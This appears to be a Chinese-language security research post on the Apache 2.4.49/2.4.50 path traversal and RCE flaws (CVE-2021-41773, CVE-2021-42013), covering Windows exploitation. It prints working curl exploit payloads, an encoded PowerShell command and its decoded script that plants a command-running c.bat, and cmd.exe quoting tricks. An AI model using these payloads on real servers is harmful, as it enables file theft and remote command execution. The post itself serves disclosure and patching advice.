前言
Apache HTTP Server 是一個開放原始碼的網頁伺服器軟體,由於其跨平台和方便性,被廣泛使用的 Web 伺服器軟體之一。而近期 Apache HTTP Server 被揭露出兩個高風險漏洞(CVE-2021-41773 以及 CVE-2021-42013),大部分網路上揭露的漏洞利用細節都是著重於 Linux 系統為主,但我們知道 Windows 其實也存在此漏洞問題,我們將於本文揭露完整漏洞利用細節,並且提醒大家務必儘早將 Apache 更新至最新版本,以免落入駭客攻擊的目標!

弱點說明
研究人員發現 Apache 伺服器存在漏洞,攻擊者可藉由發送特製的 HTTP 請求,利用此漏洞來達成路徑列舉或遠端程式碼執行的攻擊效果,以下是使用 CURL 指令實做的 Linux 攻擊程式碼(Payload):
攻擊成效一:任意下載系統檔案(Path Traversal)
curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32 %65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/ etc/passwd"
攻擊成效二:遠端程式碼執行(Remote Code Execution)
curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32 %65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/ bin/sh"
漏洞成因
首先,我們以上面攻擊語法為例,在 Apache 2.4.50 並未妥善修正弱點,故可以使用 double encode 的方式,通殺兩個弱點(CVE-2021-41773 和 CVE-2021-42013),原因是 Apache 在處理外部 HTTP 請求時,會呼叫 ap_process_request_internal 函式對 url 路徑進行處理,在該函式中,首先會呼叫 ap_normalize_path 函式進行一次 url 解碼,之後會呼叫 ap_unescape_url 函式進行二次解碼,可以看圖一為 Apache 2.4.50 未完善修補漏洞的關鍵程式碼,我們可以看到原本第 571 行並沒有檢查編碼後的路徑跳脫,所以從 576 行開始,加上了相對應的檢查,但是檢查仍不完善可透過 double encode 的方式繞過。
圖一:Apache 2.4.49 和 2.4.50 程式碼 diff
攻擊語法經過兩次 Decode 過程:
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/shhttp://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh所以最後會將此 URI Decode 為:
http://127.0.0.1/icons/../../../../../../../../../../bin/sh因此,透過上面的簡單說明,我們可以看到原本 Apache 對於使用者傳入的路徑,並沒有完善的檢查路徑跳脫,導致可讓攻擊者輸入惡意 payload 達成攻擊效果。
接下來的重點,我們將來探討 Windows 平台的利用方式及案例:
PoC on Windows
我們從官網下載 Apache 並架設為攻擊靶機(IP: 192.168.56.161)
攻擊成效一:任意下載系統檔案(Path Traversal)
下圖二範例為讀取 C:/Windows/win.ini 檔案內容
圖二:任意下載系統檔案
攻擊成效二:遠端程式碼執行(Remote Code Execution)
透過 cmd.exe 執行 powershell,將 c.bat 寫入 C:\Users\Public,因為 cgi 程式沒有正確的 http header response,所以會 apache 回覆 status code 500,但其實 script 已經執行成功,請參考下圖三。
圖三:執行結果畫面接下來可以透過 c.bat 去執行任意指令,並看到執行結果(如圖四)
圖四:執行結果畫面
此為透過 Process Monitor 工具,記錄下來的程式執行流程(圖五):
圖五:Process Monitor 畫面圖
Process Monitor 程式執行結果圖,仔細觀察會發現執行指令包含特殊字元時,會被雙引號刮起來,e.g. : cmd.exe "/c powershell.exe -NoProfile -EncodedCommand ...",因為 cmd.exe 的一些特性,導致指令可以正常執行。
cmd.exe magic parser
為了研究Payload為什麼帶了引號還能執行,因此我們延伸分析了cmd遇到不同引號的解析結果。
help documentation
圖六:cmd 執行畫面
Surprise!
圖七:cmd 執行畫面
Command | Similar |
|---|---|
|
|
|
|
|
|
|
|
|
|
cmd with powershell.exe
Command | Result |
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
powershell write C:\Users\Public\c.bat
以下為 Powershell script 編碼後的內容:
JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA
此為 Powershell script 解碼後的內容:
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat影響與建議
建議將 Apache 更新至最新版本
附錄 cgi-bin how to work
網路上大部分的 Linux PoC 都是使用 POST data 的方式,這裡則是使用 GET parameter, 特此說明其中的差異。
demo.bat
@echo off && echo Content-type:text/plain && echo.
echo %1test with demo.bat
遠端測試
解碼無法印出字元

與實際上系統執行結果一致
